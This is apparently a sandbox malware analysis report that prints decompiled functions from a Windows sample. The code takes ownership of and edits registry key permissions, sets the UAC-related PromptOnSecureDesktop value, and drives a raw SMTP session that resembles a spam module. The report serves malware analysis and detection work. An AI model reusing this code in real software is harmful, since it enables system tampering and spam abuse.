0x0040b3c4

APIs

GetLocalTime.KERNEL32(0003E800,?,0003E800,00000000), ref: 0040B2B3
FileTimeToLocalFileTime.KERNEL32(00000000,00000000,?,0003E800,00000000), ref: 0040B2C2
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B2D0
SystemTimeToFileTime.KERNEL32(0003E800,00000000), ref: 0040B2E1
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B31A
GetTimeZoneInformation.KERNEL32(?), ref: 0040B329
wsprintfA.USER32 ref: 0040B3B7

Strings

Sat, xrefs: 0040B24F
Dec, xrefs: 0040B2A3
May, xrefs: 0040B272
Aug, xrefs: 0040B287
Feb, xrefs: 0040B25D
Nov, xrefs: 0040B29C
Mar, xrefs: 0040B264
Jan, xrefs: 0040B256
Jul, xrefs: 0040B280
Tue, xrefs: 0040B233
Wed, xrefs: 0040B23A
Jun, xrefs: 0040B279
Sep, xrefs: 0040B28E
Sun, xrefs: 0040B225
%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 0040B3AF
Apr, xrefs: 0040B26B
Oct, xrefs: 0040B295
Thu, xrefs: 0040B241
Fri, xrefs: 0040B248
Mon, xrefs: 0040B22C

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: Time$File$System$Local$InformationZonewsprintf
String ID: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$Apr$Aug$Dec$Feb$Fri$Jan$Jul$Jun$Mar$May$Mon$Nov$Oct$Sat$Sep$Sun$Thu$Tue$Wed
API String ID: 766114626-2976066047
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: 3cccae2c5b68faf9d5e65ebc3321ef0303f497beb4f825406ae493c25d793f5b
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: D8510EB1D0021CAADF18DFD5D8495EEBBB9EF48304F10856BE501B6250E7B84AC9CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00407A95, Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 99%

			E00407A95(void* _a4, char* _a8, signed int _a12) {
				int _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				int _v24;
				void* _v28;
				struct _ACL* _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				int _v64;
				void _v132;
				char _v388;
				char _v516;
				struct _SECURITY_DESCRIPTOR _v1540;
				void* _t95;
				void* _t104;
				void* _t107;
				void* _t111;
				void* _t116;
				struct _ACL* _t117;
				void* _t118;
				void* _t120;
				void* _t122;
				void* _t123;
				void* _t125;
				char* _t126;
				void* _t130;
				void* _t134;
				void* _t135;
				signed int _t136;
				void* _t143;
				void* _t146;
				int _t148;
				int _t151;
				void** _t159;
				void* _t161;
				void* _t164;
				signed int _t172;
				void* _t173;
				char* _t174;
				void* _t175;
				void* _t176;

				_v32 = 0;
				_v12 = 0;
				_v28 = 0;
				if(RegOpenKeyExA(_a4, _a8, 0, 0xe0100,  &_v28) != 0) {
					return 0;
				}
				_v40 = 0x80;
				_t95 = GetUserNameA( &_v388,  &_v40);
				__eflags = _t95;
				if(_t95 == 0) {
					L48:
					RegCloseKey(_v28);
					return _v12;
				} else {
					_v36 = 0x44;
					_v44 = 0x80;
					_t104 = LookupAccountNameA(0,  &_v388,  &_v132,  &_v36,  &_v516,  &_v44,  &_v56);
					__eflags = _t104;
					if(_t104 == 0) {
						goto L48;
					}
					_v48 = 0x400;
					_t107 = RegGetKeySecurity(_v28, 5,  &_v1540,  &_v48);
					__eflags = _t107;
					if(_t107 != 0) {
						goto L48;
					}
					_t111 = GetSecurityDescriptorOwner( &_v1540,  &_v16,  &_v60);
					__eflags = _t111;
					if(_t111 == 0) {
						L12:
						_v24 = 0;
						_t116 = GetSecurityDescriptorDacl( &_v1540,  &_v64,  &_v32,  &_v52);
						__eflags = _t116;
						if(_t116 == 0) {
							L47:
							goto L48;
						}
						_t117 = _v32;
						__eflags = _t117;
						if(_t117 == 0) {
							goto L47;
						}
						_t164 = 0;
						_v8 = 0;
						__eflags = 0 - _t117->AceCount;
						if(0 >= _t117->AceCount) {
							goto L47;
						} else {
							goto L15;
						}
						do {
							L15:
							_t118 = GetAce(_t117, _v8,  &_v20);
							__eflags = _t118;
							if(_t118 == 0) {
								L31:
								_t73 =  &_v8;
								 *_t73 = _v8 + 1;
								__eflags =  *_t73;
								goto L32;
							}
							_t172 = 0;
							_v16 = _v20 + 8;
							__eflags = _t164;
							if(_t164 <= 0) {
								L21:
								__eflags = _t164 - 0x20;
								if(_t164 < 0x20) {
									 *((intOrPtr*)(_t176 + _t164 * 4 - 0x100)) = _v16;
									_t164 = _t164 + 1;
									__eflags = _t164;
								}
								_t134 = EqualSid( &_v132, _v16);
								_t159 = _v20;
								__eflags = _t134;
								if(_t134 == 0) {
									_t135 = 0x20000;
								} else {
									asm("sbb eax, eax");
									_t135 = ( ~_a12 & 0x00010006) + 0xe0039;
								}
								__eflags = _t159[1] - _t135;
								if(_t159[1] != _t135) {
									_t159[1] = _t135;
									_t159 = _v20;
									_v24 = 1;
								}
								__eflags =  *_t159;
								if( *_t159 != 0) {
									L30:
									 *_t159 = 0;
									_t136 = _v16;
									__eflags =  *(_t136 + 8);
									_t68 =  *(_t136 + 8) == 0;
									__eflags = _t68;
									_v24 = 1;
									 *((char*)(_v20 + 1)) = 2 + (_t136 & 0xffffff00 | _t68) * 8;
									goto L31;
								} else {
									__eflags = _t159[0] & 0x00000010;
									if((_t159[0] & 0x00000010) == 0) {
										goto L31;
									}
									goto L30;
								}
							} else {
								goto L17;
							}
							while(1) {
								L17:
								_t143 = EqualSid( *(_t176 + _t172 * 4 - 0x100), _v16);
								__eflags = _t143;
								if(_t143 != 0) {
									break;
								}
								_t172 = _t172 + 1;
								__eflags = _t172 - _t164;
								if(_t172 < _t164) {
									continue;
								}
								break;
							}
							__eflags = _t172 - _t164;
							if(_t172 >= _t164) {
								goto L21;
							}
							DeleteAce(_v32, _v8);
							_v24 = 1;
							L32:
							_t117 = _v32;
							__eflags = _v8 - (_t117->AceCount & 0x0000ffff);
						} while (_v8 < (_t117->AceCount & 0x0000ffff));
						__eflags = _v24;
						if(_v24 == 0) {
							goto L47;
						}
						__eflags =  *0x4121a8; // 0x0
						if(__eflags == 0) {
							L41:
							_v12 = 1;
							_t173 = LocalAlloc(0x40, 0x14);
							__eflags = _t173;
							if(_t173 != 0) {
								_t120 = InitializeSecurityDescriptor(_t173, 1);
								__eflags = _t120;
								if(_t120 != 0) {
									_t122 = SetSecurityDescriptorDacl(_t173, 1, _v32, 0);
									__eflags = _t122;
									if(_t122 != 0) {
										_t123 = RegSetKeySecurity(_v28, 4, _t173);
										__eflags = _t123;
										if(_t123 == 0) {
											_v12 = 1;
										}
									}
								}
								LocalFree(_t173);
							}
							goto L47;
						}
						__eflags =  *0x412cc0; // 0x0
						if(__eflags == 0) {
							goto L41;
						}
						_v12 = 0;
						_t125 = RegOpenKeyExA(_a4, _a8, 0, 0x103,  &_v12);
						__eflags = _t125;
						if(_t125 != 0) {
							goto L41;
						}
						_t126 = 0x4121a8;
						_t83 =  &(_t126[1]); // 0x4121a9
						_t174 = _t83;
						do {
							_t161 =  *_t126;
							_t126 =  &(_t126[1]);
							__eflags = _t161;
						} while (_t161 != 0);
						_t130 = RegSetValueExA(_v12, E00402544("PromptOnSecureDesktop", 0x4106dc, 0xa, 0xe4, 0xc8), 0, 2, 0x4121a8, _t126 - _t174 + 1);
						__eflags = _t130;
						if(_t130 == 0) {
							 *0x412cc0 = 0;
						}
						goto L41;
					}
					_t146 = EqualSid( &_v132, _v16);
					__eflags = _t146;
					if(_t146 != 0) {
						goto L12;
					}
					_v12 = 1;
					_t175 = LocalAlloc(0x40, 0x14);
					__eflags = _t175;
					if(_t175 != 0) {
						_t148 = InitializeSecurityDescriptor(_t175, 1);
						__eflags = _t148;
						if(_t148 != 0) {
							_t151 = SetSecurityDescriptorOwner(_t175,  &_v132, 0);
							__eflags = _t151;
							if(_t151 != 0) {
								RegSetKeySecurity(_v28, 1, _t175);
							}
						}
						LocalFree(_t175);
					}
					goto L12;
				}
			}

0x00407aae
0x00407ab4
0x00407ab7
0x00407ac2
0x00000000
0x00407ac4
0x00407adc
0x00407adf
0x00407ae5
0x00407ae7
0x00407da7
0x00407daa
0x00000000
0x00407aed
0x00407b0c
0x00407b13
0x00407b16
0x00407b1c
0x00407b1e
0x00000000
0x00000000
0x00407b34
0x00407b3b
0x00407b41
0x00407b43
0x00000000
0x00000000
0x00407b59
0x00407b5f
0x00407b61
0x00407bb8
0x00407bcb
0x00407bce
0x00407bd4
0x00407bd6
0x00407da6
0x00000000
0x00407da6
0x00407bdc
0x00407bdf
0x00407be1
0x00000000
0x00000000
0x00407be9
0x00407beb
0x00407bee
0x00407bf2
0x00000000
0x00000000
0x00000000
0x00000000
0x00407bf8
0x00407bf8
0x00407c00
0x00407c06
0x00407c08
0x00407cc6
0x00407cc6
0x00407cc6
0x00407cc6
0x00000000
0x00407cc6
0x00407c14
0x00407c16
0x00407c19
0x00407c1b
0x00407c4f
0x00407c4f
0x00407c52
0x00407c57
0x00407c5e
0x00407c5e
0x00407c5e
0x00407c66
0x00407c6c
0x00407c6f
0x00407c71
0x00407c86
0x00407c73
0x00407c78
0x00407c7f
0x00407c7f
0x00407c8b
0x00407c8e
0x00407c90
0x00407c93
0x00407c96
0x00407c96
0x00407c9d
0x00407c9f
0x00407ca7
0x00407ca7
0x00407ca9
0x00407cac
0x00407cb2
0x00407cb2
0x00407cb5
0x00407cc3
0x00000000
0x00407ca1
0x00407ca1
0x00407ca5
0x00000000
0x00000000
0x00000000
0x00407ca5
0x00000000
0x00000000
0x00000000
0x00407c1d
0x00407c1d
0x00407c27
0x00407c2d
0x00407c2f
0x00000000
0x00000000
0x00407c31
0x00407c32
0x00407c34
0x00000000
0x00000000
0x00000000
0x00407c34
0x00407c36
0x00407c38
0x00000000
0x00000000
0x00407c40
0x00407c46
0x00407cc9
0x00407cc9
0x00407cd0
0x00407cd0
0x00407cd9
0x00407cdc
0x00000000
0x00000000
0x00407ce2
0x00407ce8
0x00407d5a
0x00407d61
0x00407d6a
0x00407d6c
0x00407d6e
0x00407d72
0x00407d78
0x00407d7a
0x00407d82
0x00407d88
0x00407d8a
0x00407d92
0x00407d98
0x00407d9a
0x00407d9c
0x00407d9c
0x00407d9a
0x00407d8a
0x00407da0
0x00407da0
0x00000000
0x00407d6e
0x00407cea
0x00407cf0
0x00000000
0x00000000
0x00407cff
0x00407d05
0x00407d0b
0x00407d0d
0x00000000
0x00000000
0x00407d14
0x00407d16
0x00407d16
0x00407d19
0x00407d19
0x00407d1b
0x00407d1c
0x00407d1c
0x00407d4a
0x00407d50
0x00407d52
0x00407d54
0x00407d54
0x00000000
0x00407d52
0x00407b6a
0x00407b70
0x00407b72
0x00000000
0x00000000
0x00407b7b
0x00407b84
0x00407b86
0x00407b88
0x00407b8c
0x00407b92
0x00407b94
0x00407b9c
0x00407ba2
0x00407ba4
0x00407bab
0x00407bab
0x00407ba4
0x00407bb2
0x00407bb2
0x00000000
0x00407b88

APIs

RegOpenKeyExA.ADVAPI32(000000E4,00000022,00000000,000E0100,00000000,00000000), ref: 00407ABA
GetUserNameA.ADVAPI32(?,?), ref: 00407ADF
LookupAccountNameA.ADVAPI32(00000000,?,?,0041070C,?,004133B0,?), ref: 00407B16
RegGetKeySecurity.ADVAPI32(00000000,00000005,?,?), ref: 00407B3B
GetSecurityDescriptorOwner.ADVAPI32(?,00000022,80000002), ref: 00407B59
EqualSid.ADVAPI32(?,00000022), ref: 00407B6A
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407B7E
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407B8C
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407B9C
RegSetKeySecurity.ADVAPI32(00000000,00000001,00000000), ref: 00407BAB
LocalFree.KERNEL32(00000000), ref: 00407BB2
GetSecurityDescriptorDacl.ADVAPI32(?,00407FC9,?,00000000), ref: 00407BCE

Strings

D, xrefs: 00407B0C
PromptOnSecureDesktop, xrefs: 00407D39

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: D$PromptOnSecureDesktop
API String ID: 2976863881-1403908072
Opcode ID: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction ID: e17c9e5f60e255820364911aa1186e0accab4a2e7248257c6285c946b731c67d
Opcode Fuzzy Hash: d4f479c9f78d504b8da3df740f472ce51a34dde969fc05e485fb9939b8f25359
Instruction Fuzzy Hash: 6FA14D71D04219ABDB119FA0DD44EEF7B78FF48304F04807AE505F2290D779AA85CB69

Uniqueness

Uniqueness Score: -1.00%

Function 022B7CE5, Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 269registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,000E0100,?), ref: 022B7D0A
GetUserNameA.ADVAPI32(?,?), ref: 022B7D2F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 022B7D66
RegGetKeySecurity.ADVAPI32(?,00000005,?,?), ref: 022B7D8B
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 022B7DA9
EqualSid.ADVAPI32(?,?), ref: 022B7DBA
LocalAlloc.KERNEL32(00000040,00000014), ref: 022B7DCE
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 022B7DDC
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 022B7DEC
RegSetKeySecurity.ADVAPI32(?,00000001,00000000), ref: 022B7DFB
LocalFree.KERNEL32(00000000), ref: 022B7E02
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 022B7E1E

Strings

PromptOnSecureDesktop, xrefs: 022B7F89
D, xrefs: 022B7D5C

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$LocalNameOwner$AccountAllocDaclEqualFreeInitializeLookupOpenUser
String ID: D$PromptOnSecureDesktop
API String ID: 2976863881-1403908072
Opcode ID: 1a53823342927d1e4650e54f1beed8d9b04cc787a6d03e02cd47dd5285ddf864
Instruction ID: 2e6394b0b1492e1b1d4cc0bfca0838c6a83e978d17773b6e466c2ea42ef3e5de
Opcode Fuzzy Hash: 1a53823342927d1e4650e54f1beed8d9b04cc787a6d03e02cd47dd5285ddf864
Instruction Fuzzy Hash: 54A13D7291021AAFDF128FE0DD88FEEBBB9FF48344F048069E505E6150DB759A85CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00406511, Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E00406511(void* __ecx) {
				signed int _t75;
				signed int _t76;
				int _t78;
				void* _t83;
				signed int _t93;
				void* _t95;
				signed int _t99;
				int _t101;
				int _t115;
				int _t117;
				void* _t118;
				void* _t119;
				void* _t120;
				void* _t122;
				intOrPtr _t135;
				intOrPtr* _t137;
				void* _t139;
				void* _t141;
				void* _t143;
				void* _t144;
				void* _t152;

				_t122 = __ecx;
				_t139 = _t141 - 0x74;
				_t75 =  *(_t139 + 0x7c);
				_t135 =  *((intOrPtr*)(_t75 + 4));
				_t76 =  *_t75;
				 *(_t139 + 0x7c) = _t76;
				_t78 = wsprintfA(_t139 - 0x898, "\nver=%d date=%s %s\nc=%08x a=%p", 0x61, "Jan 13 2018", "12:08:32",  *_t76,  *((intOrPtr*)(_t76 + 0xc)));
				_t143 = _t141 - 0x90c + 0x1c;
				_t117 = _t78;
				if(IsBadReadPtr( *( *(_t139 + 0x7c) + 0xc), 8) != 0) {
					E0040E318();
					ExitProcess(0);
				}
				_t83 =  *( *(_t139 + 0x7c) + 0xc);
				__imp__#8( *((intOrPtr*)(_t83 + 4)), E00406511);
				__imp__#8();
				_t118 = _t117 + wsprintfA(_t139 + _t117 - 0x898, " va=%08X%08X uef=%p",  *( *(_t139 + 0x7c) + 0xc),  *( *( *(_t139 + 0x7c) + 0xc)), _t83);
				_t119 = _t118 + wsprintfA(_t139 + _t118 - 0x898, "\n_ax=%p\t_bx=%p\t_cx=%p\t_dx=%p\t_si=%p\t_di=%p\t_bp=%p\t_sp=%p\n",  *((intOrPtr*)(_t135 + 0xb0)),  *((intOrPtr*)(_t135 + 0xa4)),  *((intOrPtr*)(_t135 + 0xac)),  *((intOrPtr*)(_t135 + 0xa8)),  *((intOrPtr*)(_t135 + 0xa0)),  *((intOrPtr*)(_t135 + 0x9c)),  *((intOrPtr*)(_t135 + 0xb4)),  *((intOrPtr*)(_t135 + 0xc4)));
				E0040EE2A(_t122, _t139 - 0x98, 0, 0x108);
				_t144 = _t143 + 0x48;
				 *((intOrPtr*)(_t139 - 0x98)) =  *((intOrPtr*)(_t135 + 0xb8));
				_t93 = 3;
				_push(0);
				_push(0);
				 *(_t139 - 0x8c) = _t93;
				 *((intOrPtr*)(_t139 - 0x94)) = 0;
				_push(0);
				 *(_t139 - 0x5c) = _t93;
				_push(0);
				 *((intOrPtr*)(_t139 - 0x68)) =  *((intOrPtr*)(_t135 + 0xc4));
				 *((intOrPtr*)(_t139 - 0x64)) = 0;
				_t130 =  *((intOrPtr*)(_t135 + 0xb4));
				 *(_t139 - 0x6c) = _t93;
				 *(_t139 + 0x7c) = _t93;
				_push(_t135);
				_push(_t139 - 0x98);
				 *((intOrPtr*)(_t139 - 0x78)) =  *((intOrPtr*)(_t135 + 0xb4));
				 *((intOrPtr*)(_t139 - 0x74)) = 0;
				_push(0);
				while(1) {
					_t95 = GetCurrentProcess();
					__imp__StackWalk64(0x14c, _t95);
					if(_t95 == 0) {
						break;
					}
					_t95 = 0;
					if( *(_t139 + 0x7c) != 0) {
						if( *((intOrPtr*)(_t139 - 0x88)) != 0) {
							_t115 = wsprintfA(_t139 + _t119 - 0x898, "ret=%p\tp1=%p\tp2=%p\tp3=%p\tp4=%p\n",  *((intOrPtr*)(_t139 - 0x88)),  *((intOrPtr*)(_t139 - 0x40)),  *((intOrPtr*)(_t139 - 0x38)),  *((intOrPtr*)(_t139 - 0x30)),  *((intOrPtr*)(_t139 - 0x28)));
							_t144 = _t144 + 0x1c;
							_t119 = _t119 + _t115;
							_t95 = 0;
						}
						 *(_t139 + 0x7c) =  *(_t139 + 0x7c) - 1;
						_push(_t95);
						_push(_t95);
						_push(_t95);
						_push(_t95);
						_push(_t135);
						_push(_t139 - 0x98);
						_push(_t95);
						continue;
					}
					break;
				}
				 *(_t139 + 0x7c) = _t95;
				_t120 = _t119 + wsprintfA(_t139 + _t119 - 0x898, "plgs:");
				 *(_t139 + 0x70) =  *(_t139 + 0x70) & 0x00000000;
				do {
					_t137 = 0x412c40 +  *(_t139 + 0x70) * 4;
					if( *_t137 != 0) {
						_t99 =  *(_t139 + 0x7c) & 0x80000007;
						if(_t99 < 0) {
							_t152 = (_t99 - 0x00000001 | 0xfffffff8) + 1;
						}
						if(_t152 == 0) {
							_t120 = _t120 + wsprintfA(_t139 + _t120 - 0x898, "\n");
						}
						_t101 = wsprintfA(_t139 + _t120 - 0x898, "\t%d=%p",  *(_t139 + 0x70),  *_t137);
						_t144 = _t144 + 0x10;
						_t120 = _t120 + _t101;
						 *(_t139 + 0x7c) =  *(_t139 + 0x7c) + 1;
					}
					 *(_t139 + 0x70) =  *(_t139 + 0x70) + 1;
				} while ( *(_t139 + 0x70) < 0x20);
				wsprintfA(_t139 + _t120 - 0x898, "\n");
				E0040E8A1(_t130, 1, "localcfg", "except_info", _t139 - 0x898);
				E0040E318();
				return 1;
			}

0x00406511
0x00406512
0x0040651c
0x00406521
0x00406524
0x00406532
0x0040654d
0x0040654f
0x00406552
0x00406564
0x0040674e
0x00406755
0x00406755
0x0040656d
0x00406578
0x00406587
0x004065a3
0x004065e3
0x004065ee
0x004065f9
0x00406600
0x00406606
0x00406607
0x00406608
0x00406609
0x0040660f
0x0040661b
0x0040661c
0x0040661f
0x00406620
0x00406623
0x00406626
0x0040662c
0x0040662f
0x00406632
0x00406639
0x0040663a
0x0040663d
0x00406640
0x0040668a
0x0040668a
0x00406696
0x0040669e
0x00000000
0x00000000
0x00406643
0x00406648
0x00406650
0x00406671
0x00406673
0x00406676
0x00406678
0x00406678
0x0040667a
0x0040667d
0x0040667e
0x0040667f
0x00406680
0x00406681
0x00406688
0x00406689
0x00000000
0x00406689
0x00000000
0x00406648
0x004066a0
0x004066b3
0x004066b5
0x004066ba
0x004066bd
0x004066c7
0x004066cc
0x004066d1
0x004066d7
0x004066d7
0x004066d8
0x004066eb
0x004066eb
0x004066ff
0x00406701
0x00406704
0x00406706
0x00406706
0x00406709
0x0040670c
0x0040671f
0x00406734
0x0040673c
0x0040674b

APIs

wsprintfA.USER32 ref: 0040654D
IsBadReadPtr.KERNEL32(?,00000008), ref: 0040655C
htonl.WS2_32(?), ref: 00406578
htonl.WS2_32(?), ref: 00406587
wsprintfA.USER32 ref: 0040659B
wsprintfA.USER32 ref: 004065DC
wsprintfA.USER32 ref: 00406671
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 0040668A
StackWalk64.DBGHELP(0000014C,00000000), ref: 00406696
wsprintfA.USER32 ref: 004066B0
wsprintfA.USER32 ref: 004066E7
wsprintfA.USER32 ref: 004066FF
wsprintfA.USER32 ref: 0040671F
ExitProcess.KERNEL32 ref: 00406755

Strings

%d=%p, xrefs: 004066F9
localcfg, xrefs: 0040672D
va=%08X%08X uef=%p, xrefs: 00406595
ver=%d date=%s %sc=%08x a=%p, xrefs: 00406547
Jan 13 2018, xrefs: 0040653A
12:08:32, xrefs: 00406535
_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p, xrefs: 004065D6
ret=%pp1=%pp2=%pp3=%pp4=%p, xrefs: 0040666B
except_info, xrefs: 00406728
plgs:, xrefs: 004066AA

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: wsprintf$Processhtonl$CurrentExitReadStackWalk64
String ID: %d=%p$_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p$ver=%d date=%s %sc=%08x a=%p$ va=%08X%08X uef=%p$12:08:32$Jan 13 2018$except_info$localcfg$plgs:$ret=%pp1=%pp2=%pp3=%pp4=%p
API String ID: 2400214276-165278494
Opcode ID: fbd2438e5a8d786474603689893f321f2aaf39c813a77a2b8649c1733411c7dd
Instruction ID: d0bbb1ce902d37c6012dbda67fcae0275dd4f0eb650f6cdd038f268f1af807dd
Opcode Fuzzy Hash: fbd2438e5a8d786474603689893f321f2aaf39c813a77a2b8649c1733411c7dd
Instruction Fuzzy Hash: FC615F72940208EFDB609FB4DC45FEA77E9FF08300F24846AF95DD2161DA7599908F58

Uniqueness

Uniqueness Score: -1.00%

Function 0040A7C1, Relevance: 38.8, APIs: 8, Strings: 14, Instructions: 299
networkstringCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E0040A7C1(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, CHAR* _a16) {
				short _v129;
				char _v132;
				char _v1156;
				signed int _t59;
				int _t60;
				void* _t61;
				char* _t62;
				void* _t63;
				void* _t65;
				void* _t82;
				void* _t96;
				intOrPtr _t102;
				char _t103;
				void* _t104;
				int _t121;
				intOrPtr _t123;
				void* _t124;
				CHAR* _t125;
				intOrPtr* _t126;
				intOrPtr* _t127;
				void* _t129;
				void* _t130;
				void* _t131;

				_t102 = _a8;
				_t2 = _t102 - 1; // 0x0
				_t59 = _t2;
				_t125 =  &_v132;
				if(_t59 > 0xb) {
					L21:
					_t60 = lstrlenA(_t125);
					_t121 = _t60;
					_t126 = __imp__#19;
					_t61 =  *_t126(_a4, _t125, _t121, 0);
					if(_t61 == _t121) {
						if(_t102 != 6) {
							L28:
							_t127 = __imp__#16;
							_t103 = 0;
							_push(0);
							_v1156 = 0;
							_v132 = 0;
							_push(0x3f6);
							_t62 =  &_v1156;
							while(1) {
								_t63 =  *_t127(_a4, _t62);
								if(_t63 <= 0) {
									break;
								}
								_t103 = _t103 + _t63;
								if(_t103 > 0x1f4) {
									wsprintfA(_a16, "Too big smtp respons (%d bytes)\n", _t103);
									_push(6);
									L72:
									_pop(_t65);
									return _t65;
								}
								 *((char*)(_t130 + _t103 - 0x480)) = 0;
								if(_v132 != 0) {
									L33:
									if(E0040EE95( &_v1156,  &_v132) != 0) {
										break;
									}
									L34:
									_push(0);
									_push(0x3f6 - _t103);
									_t62 = _t130 + _t103 - 0x480;
									continue;
								}
								if(_t103 <= 3) {
									goto L34;
								}
								E0040EE08( &_v132,  &_v1156, 4);
								_t131 = _t131 + 0xc;
								_v129 = 0x20;
								if(_v132 == 0) {
									goto L34;
								}
								goto L33;
							}
							_t123 = _a8;
							if(_t123 == 7) {
								L23:
								_push(2);
								goto L72;
							}
							if(_t103 <= 5) {
								E0040EF00(_a16, "Too small respons\n");
							} else {
								E0040EE08(_a16,  &_v1156, 0x76);
								_t131 = _t131 + 0xc;
								_a16[0x76] = 0;
							}
							if(_t103 < 5 ||  *((char*)(_t130 + _t103 - 0x481)) != 0xa) {
								E0040EF00(_a16, "Incorrect respons");
								_push(7);
							} else {
								_t104 = E0040EDAC( &_v1156);
								if(_t104 == 0xdc || _t104 == 0xfa || _t104 == 0x162 || _t104 == 0xdd || _t104 == 0x14e || _t104 == 0xeb) {
									_t129 = 1;
									 *0x413668 = E0040EE95( &_v1156, "ESMTP") & 0xffffff00 | _t74 != 0x00000000;
									_t123 = 1;
								} else {
									_t129 = 0;
								}
								if(_t123 != 0xc || _t104 != 0x217) {
									if(_t129 != 0) {
										goto L23;
									}
									_t76 =  *0x413630;
									if( *0x413630 == 0 ||  *0x413634 == _t129 ||  *0x413638 == _t129) {
										L70:
										_push(0xb);
									} else {
										if(_t123 != 4 || E0040A699( &_v1156, _t76) == 0) {
											if(E0040A699( &_v1156,  *0x413634) == 0) {
												if(E0040A699( &_v1156,  *0x413638) == 0) {
													if(_t123 == 3 || _t123 == 4 || _t123 == 5 || _t123 == 6) {
														_t82 = E0040E819(1, "localcfg", "ip", E004030B5());
														_push( &_v132);
														if(E0040EE95( &_v1156, E0040A7A3(_t82, _t82)) != 0) {
															goto L62;
														}
													}
													goto L70;
												}
												_push(0xa);
												goto L72;
											}
											L62:
											_push(9);
										} else {
											_push(8);
										}
									}
								} else {
									_push(0xf);
								}
							}
							goto L72;
						}
						_t124 = 5;
						_t96 =  *_t126(_a4, "\r\n.\r\n", _t124, 0);
						if(_t96 == _t124) {
							goto L28;
						}
						wsprintfA(_a16, "Error sending command (sent = %d/%d)\n", _t96, _t124);
						return _t124;
					}
					if(_t102 != 7) {
						wsprintfA(_a16, "Error sending command (sent = %d/%d)\n", _t61, _t121);
						_push(5);
						goto L72;
					}
					goto L23;
				}
				switch( *((intOrPtr*)(_t59 * 4 +  &M0040AB51))) {
					case 0:
						goto L28;
					case 1:
						_push(_a12);
						_t100 =  &_v132;
						if( *0x413668 == 0) {
							_push("helo %s\r\n");
						} else {
							_push("ehlo %s\r\n");
						}
						goto L4;
					case 2:
						_push(_a12);
						_push("mail from:<%s>\r\n");
						goto L14;
					case 3:
						_push(_a12);
						_push("rcpt to:<%s>\r\n");
						L14:
						__eax =  &_v132;
						L4:
						wsprintfA(_t100, ??);
						goto L20;
					case 4:
						_push(7);
						_push("data\r\n");
						goto L19;
					case 5:
						goto L21;
					case 6:
						_push(7);
						_push("quit\r\n");
						goto L19;
					case 7:
						goto L21;
					case 8:
						_push(0xd);
						_push("AUTH LOGIN\r\n");
						L19:
						__eax =  &_v132;
						_push( &_v132);
						__eax = E0040EE08();
						goto L20;
					case 9:
						__eax = _a12;
						_t9 = __eax + 1; // 0x1
						__edx = _t9;
						do {
							__cl =  *__eax;
							__eax = __eax + 1;
						} while (__cl != 0);
						goto L9;
					case 0xa:
						__eax = _a12;
						_t15 = __eax + 1; // 0x1
						__edx = _t15;
						do {
							__cl =  *__eax;
							__eax = __eax + 1;
						} while (__cl != 0);
						L9:
						__eax = __eax - __edx;
						 *((char*)(__ebp + __eax - 0x80)) = 0;
						L20:
						_t131 = _t131 + 0xc;
						goto L21;
				}
			}

0x0040a7cb
0x0040a7cf
0x0040a7cf
0x0040a7d3
0x0040a7d9
0x0040a87d
0x0040a87e
0x0040a886
0x0040a88d
0x0040a893
0x0040a897
0x0040a8c2
0x0040a8f2
0x0040a8f2
0x0040a8f8
0x0040a8fa
